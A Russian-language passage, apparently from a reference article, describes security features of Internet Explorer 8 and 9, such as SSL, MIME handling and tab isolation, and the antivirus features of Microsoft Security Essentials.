128-разрядное SSL-соединение для работы с безопасными веб-сайтами. Это помогает браузеру Internet Explorer создавать зашифрованные соединения с веб-сайтами банков, интернет-магазинами, медицинскими веб-сайтами или веб-сайтами других организаций, которые работают с персональными данными пользователей.

IE8 благодаря технологии MIME-Handling Changes не позволяет запустить на исполнение вредоносный скрипт, замаскированный под графическое изображение.

Еще одна особенность IE8 - Application Protocol Prompt, которая позволяет разрешенным приложениям (например, медиаплеерам для воспроизведения потокового видео или программам IP-телефонии) осуществлять свой запуск непосредственно из браузера.

В IE9 использован подход Loosely-Coupled IE, когда ядро браузера изолированно от вкладок, а сами открытые страницы - друг от друга. В результате реализации асинхронных связей ("loosely coupled") возникшие сбои в одной из вкладок не могут нарушить работу остальных. Браузер остается стабильным, сводя нарушения в работе и неудобства для пользователя к минимуму. Благодаря системе автоматического восстановления после сбоя вкладка или целая сессия будут автоматически восстановлены в прежнее состояние, включая данные, введенные в веб-формы.

Антивирусное ПО от Microsoft: Microsoft Security Essentials

Microsoft Security Essentials (MSE) поддерживает 5 основных функций:

Одной из наиболее примечательных функций MSE является технология DSS (Dynamic Signature Service), гарантирующая немедленную (Zero day) защиту компьютера от новых видов атак. В MSE реализован поведенческий анализатор, позволяющий обнаруживать и блокировать активные процессы, которые выполняют потенциально опасные действия и поведение которых похоже на деятельность вредоносных программ, а также проверка репутации файлов для исключения ложных срабатываний.

Источники